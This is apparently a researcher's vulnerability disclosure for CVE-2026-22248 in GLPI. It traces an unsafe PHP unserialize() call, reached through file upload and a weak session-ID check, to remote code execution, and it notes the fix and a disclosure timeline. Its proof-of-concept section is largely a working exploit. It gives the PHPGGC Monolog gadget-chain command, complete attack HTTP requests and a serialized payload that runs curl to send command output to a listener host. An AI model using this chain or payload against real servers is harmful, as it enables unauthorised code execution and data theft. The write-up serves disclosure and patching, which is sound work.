CVE-2026-22248 - From File Upload to RCE via Unsafe Deserialization
## Abstract
GLPI is an open-source IT asset management software used by thousands of organizations worldwide.
During security research, I identified a vulnerability chain that allows an authenticated administrator
to achieve Remote Code Execution (RCE) on the server. The vulnerability resides in the progress indicator
storage mechanism, where user-controlled data is passed to PHP's unserialize() function
without restriction, enabling PHP Object Injection attacks.
## Finding the Vulnerability
The vulnerability was discovered while auditing GLPI's progress indicator feature.
### The Unsafe Deserialization
The vulnerable code is located in src/Glpi/Progress/ProgressStorage.php.
The getProgressIndicator() method reads a file and deserializes its contents:
// src/Glpi/Progress/ProgressStorage.php:120-152
public function getProgressIndicator(string $storage_key): ?StoredProgressIndicator
{
if (!$this->canAccessProgressIndicator($storage_key)) {
return null;
}
$path = $this->getStorageFilePath($storage_key);
if (!\file_exists($path)) {
return null;
}
$handle = fopen($path, 'rb');
flock($handle, LOCK_EX);
$file_contents = '';
while (!\feof($handle)) {
$file_contents .= fread($handle, 8192);
}
flock($handle, LOCK_UN);
fclose($handle);
$progress = \unserialize($file_contents); // [1] unsafe unserialize in this function
if (!$progress instanceof StoredProgressIndicator) {
throw new RuntimeException(\sprintf('Invalid data stored for key `%s`.', $storage_key));
}
return $progress;
}
At [1], the unserialize() function is called without the allowed_classes
parameter (default recommendation). According to PHP documentation, when this parameter is omitted, all classes
are accepted during deserialization. This enables PHP Object Injection attacks where an attacker can instantiate
arbitrary PHP classes present in the application.
The secure implementation would be using the allowed_classes parameter:
$progress = \unserialize($file_contents, ['allowed_classes' => [StoredProgressIndicator::class]]);
Or better, avoid unserialize() entirely and use safer formats like JSON (json_encode/json_decode).
### The Storage Path
The file path is constructed from the storage_key parameter:
// src/Glpi/Progress/ProgressStorage.php:199-205
private function getStorageFilePath(string $storage_key): string
{
return \sprintf(
'%s/%s.progress',
$this->storage_dir,
$storage_key
);
}
Where storage_dir defaults to GLPI_TMP_DIR (typically files/_tmp/):
// src/Glpi/Progress/ProgressStorage.php:69-72
public function __construct(string $storage_dir = GLPI_TMP_DIR)
{
$this->storage_dir = $storage_dir;
}
This means files are stored at: files/_tmp/{storage_key}.progress
### Access Control
The access control check is minimal:
// src/Glpi/Progress/ProgressStorage.php:194-197
private function canAccessProgressIndicator(string $storage_key): bool
{
return \str_starts_with($storage_key, session_id());
}
The method only verifies that the storage_key starts with the current user's session ID. This is a weak control because:
- The attacker knows their own session ID (it's in their cookie)
- They can craft a filename that starts with their session ID
- If they can upload a file with that name, they control the deserialized content
### The Trigger Endpoint
The ProgressController exposes the route that allows us to reach the vulnerable getProgressIndicator() function:
// src/Glpi/Controller/ProgressController.php:44-71
class ProgressController extends AbstractController
{
public function __construct(
private readonly ProgressStorage $progress_storage,
) {}
#[Route("/progress/check/{key}", methods: 'GET')]
#[SecurityStrategy(Firewall::STRATEGY_NO_CHECK)]
public function check(string $key): Response
{
// [2] below this call the vulnerable function
$progress = $this->progress_storage->getProgressIndicator($key);
if ($progress === null) {
return new JsonResponse([], 404);
}
return new JsonResponse([
'started_at' => $progress->getStartedAt()->format('c'),
'updated_at' => $progress->getUpdatedAt()->format('c'),
'ended_at' => $progress->getEndedAt()?->format('c'),
'failed' => $progress->hasFailed(),
'current_step' => $progress->getCurrentStep(),
'max_steps' => $progress->getMaxSteps(),
'progress_bar_message' => $progress->getProgressBarMessage(),
'messages' => $progress->getMessages(),
]);
}
}
At [2], the controller directly passes the user-controlled $key parameter to
getProgressIndicator(). This is the entry point that triggers the entire vulnerable code path:
the $key value is used to construct the file path, read the file contents, and pass them to unserialize().
The {key} route parameter corresponds to the $storage_key used by ProgressStorage.
When a request is made to /progress/check/abc123def456, the value abc123def456 is passed as
$storage_key to getProgressIndicator(), which then uses it to build the file path:
/progress/check/{key} --> files/_tmp/{key}.progress
/progress/check/abc123 --> files/_tmp/abc123.progress
Since the attacker controls this URL parameter, they can specify any filename (as long as it passes the
str_starts_with(session_id()) check).
## The Attack Chain
To exploit this vulnerability, an attacker needs to:
- Upload a malicious serialized payload to
files/_tmp/ - Name the file
{session_id}xxx.progress - Trigger deserialization via
GET /progress/check/{session_id}xxx
### Step 1: File Upload Mechanism
GLPI provides a file upload endpoint at ajax/fileupload.php:
// ajax/fileupload.php:40
GLPIUploadHandler::uploadFiles($_POST);
Files are uploaded to GLPI_TMP_DIR (same directory where progress files are stored):
// src/GLPIUploadHandler.php:61
$upload_dir = GLPI_TMP_DIR . '/';
### Step 2: File Extension Validation
The upload handler validates file extensions against a pattern from DocumentType:
// src/UploadHandler.php:183
'accept_file_types' => DocumentType::getUploadableFilePattern(),
The getUploadableFilePattern() method queries the database for allowed extensions:
// src/DocumentType.php:205-235
public static function getUploadableFilePattern(): string
{
global $DB;
if (self::$uploadable_patterns === null) {
$valid_type_iterator = $DB->request([
'FROM' => 'glpi_documenttypes',
'WHERE' => [
'is_uploadable' => 1,
],
]);
$valid_ext_patterns = [];
foreach ($valid_type_iterator as $valid_type) {
$valid_ext = $valid_type['ext'];
if (preg_match('/\/.+\//', $valid_ext)) {
// Filename matches pattern
// Remove surrounding '/' as it will be included in a larger pattern
// and protect by surrounding parenthesis to prevent conflict with other patterns
$valid_ext_patterns[] = '(' . substr($valid_ext, 1, -1) . ')';
} else {
// Filename ends with allowed ext
$valid_ext_patterns[] = '\.' . preg_quote($valid_type['ext'], '/') . '$';
}
}
self::$uploadable_patterns = '/(' . implode('|', $valid_ext_patterns) . ')/i';
}
return self::$uploadable_patterns;
}
By default, .progress is not an allowed extension. However, an administrator can add it via
Setup > Dropdowns > Document types.
### Step 3: Crafting the Payload
To exploit unserialize(), we need a gadget chain - a sequence of PHP classes that trigger code
execution through their magic methods (__destruct(), __wakeup(), etc.).
Looking at GLPI's composer.json, we can see Monolog is a direct dependency:
// composer.json:55
"monolog/monolog": "^3.9",
PHPGGC provides pre-built gadget chains for common PHP libraries. Checking the available Monolog chains:
$ php phpggc -l monolog
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE: Function Call __destruct
Monolog/RCE2 1.4.1 <= 2.7.0+ RCE: Function Call __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE: Function Call __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE: Command __destruct *
Monolog/RCE5 1.25 <= 2.7.0+ RCE: Function Call __destruct
Monolog/RCE6 1.10.0 <= 2.7.0+ RCE: Function Call __destruct
Monolog/RCE7 1.10.0 <= 2.7.0+ RCE: Function Call __destruct *
Monolog/RCE8 3.0.0 <= 3.1.0+ RCE: Function Call __destruct *
Monolog/RCE9 3.0.0 <= 3.1.0+ RCE: Function Call __destruct *
The version notation 3.0.0 <= 3.1.0+ means the chain was tested from version 3.0.0
up to 3.1.0, with the + suffix indicating it works with later 3.x versions.
Since GLPI uses Monolog ^3.9 and the chain targets the 3.x branch, we can use Monolog/RCE8:
php phpggc Monolog/RCE8 system "id" -o payload.bin
### Step 4: Complete Attack Flow
1. Attacker authenticates to GLPI (requires admin to modify document types)
2. Add .progress as allowed document type
POST /front/documenttype.form.php
3. Upload malicious payload
POST /ajax/fileupload.php
Content-Disposition: form-data; name="filename"; filename="{SESSION_ID}xlpRANDOMSUFIX.progress"
[serialized Monolog gadget chain]
4. Trigger deserialization
GET /progress/check/{SESSION_ID}xlpRANDOMSUFIX
Cookie: glpi_xxx={SESSION_ID}
5. RCE as www-data
## Proof of Concept
The following HTTP requests demonstrate the exploitation:
### Request 1: Login
POST /front/login.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
noAUTO=1&redirect=/front/document.form.php?&_glpi_csrf_token=xxx&login_name=glpi&login_password=glpi&auth=local&login_remember=on&submit=
Response sets:
Cookie: glpi_8c3d482xxx=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482xxx_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
Now, the value of glpi_8c3d482xxx
is the SESSION_ID that we will use: 614fdd1380536dfb8e00ecfa8ccb9aaf.
### Request 2: Enable .progress Document Type Upload
Modify an existing document type or create a new one at /front/documenttype.form.php to allow
.progress file uploads. This step is required because GLPI restricts uploadable file extensions by default.
POST /front/documenttype.form.php HTTP/1.1
Host: target.local
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOjZUgHGmC3ArWGLr
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="name"
JPEG
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="comment"
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="icon"
jpg-dist.png
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="is_uploadable"
1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="ext"
progress
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="mime"
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="update"
1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="_read_date_mod"
some_date
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="_glpi_csrf_token"
908a6e407f0340888e05d0e55503e7d3d83f402d53dd4cc69f0a3617acf83bb6
------WebKitFormBoundaryOjZUgHGmC3ArWGLr--
### Request 3: Upload Payload
Upload a serialized PHP payload via /ajax/fileupload.php. The file must use the .progress
extension enabled in the previous step and include the session ID as a filename prefix. This upload can be triggered
through /front/document.form.php by creating a new document.
To upload the .progress payload, intercept the request with Burp Suite, upload the payload generated
by PHPGGC, and then change the filename to SESSION_ID_HEREexploitchangesufix123.progress.
Important: Also you need to remove this part from the upload body. If you don't remove this,
GLPI will write the name of file with file size (e.g 614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123 434B.progress)
------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="showfilesize"
true
The final request to upload payload:
POST /ajax/fileupload.php HTTP/1.1
Host: target.local
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
X-Glpi-Csrf-Token: 908a6e407f0340888e05d0e55503e7d3d83f402d53dd4cc69f0a3617acf83bb6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMRDnW0vsk1F8ybrj
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
Connection: keep-alive
Content-Length: 808
------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="name"
_uploader_filename
------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="_uploader_filename[]"; filename="614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123.progress"
Content-Type: application/octet-stream
O:28:"Monolog\Handler\GroupHandler":1:{s:11:" * handlers";a:1:{i:0;O:29:"Monolog\Handler\BufferHandler":6:{s:10:" * handler";r:3;s:13:" * bufferSize";i:1;s:14:" * bufferLimit";i:0;s:9:" * buffer";a:1:{i:0;O:17:"Monolog\LogRecord":2:{s:5:"level";E:19:"Monolog\Level:Debug";s:5:"mixed";s:26:"curl 172.17.0.1:4444/$(id)";}}s:14:" * initialized";b:1;s:13:" * processors";a:3:{i:0;s:15:"get_object_vars";i:1;s:3:"end";i:2;s:6:"system";}}}}
------WebKitFormBoundaryMRDnW0vsk1F8ybrj--
If you have a problem with malformatted characters you can use -b parameter at PHPGGC to get base64 payload,
paste at Burp and then decode: php phpggc Monolog/RCE8 system 'curl 172.17.0.1:4444/$(id)' -b.
### Request 4: Trigger RCE
GET /progress/check/614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123 HTTP/1.1
Host: target.local
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
The server returns HTTP 500 (due to type check after deserialization), but the gadget chain has already executed
during unserialize().
## Conclusion
This vulnerability chain demonstrates how an unsafe unserialize() call, combined with a file upload
mechanism and weak access controls, leads to Remote Code Execution. The attack requires an authenticated administrator
account to modify the allowed document types (adding .progress extension), then leverages GLPI's own
dependencies (Monolog) to achieve code execution.
Affected Versions: GLPI <= 11.0.4
Prerequisites:
- Valid GLPI administrator account
- Ability to modify document type configuration (add
.progressextension)
## Timeline
| Date | Event |
|---|---|
| 2025-12-24 | Vulnerability discovered |
| 2025-12-25 | Vendor notified |
| 2026-01-28 | Patch released |
| 2026-03-11 | Public disclosure |
## References
- PHP unserialize() Documentation
- PHPGGC - PHP Generic Gadget Chains
- OWASP PHP Object Injection
- GLPI Security Advisory GHSA-c9q3-mcxq-9vr4
- NIST for CVE-2026-22248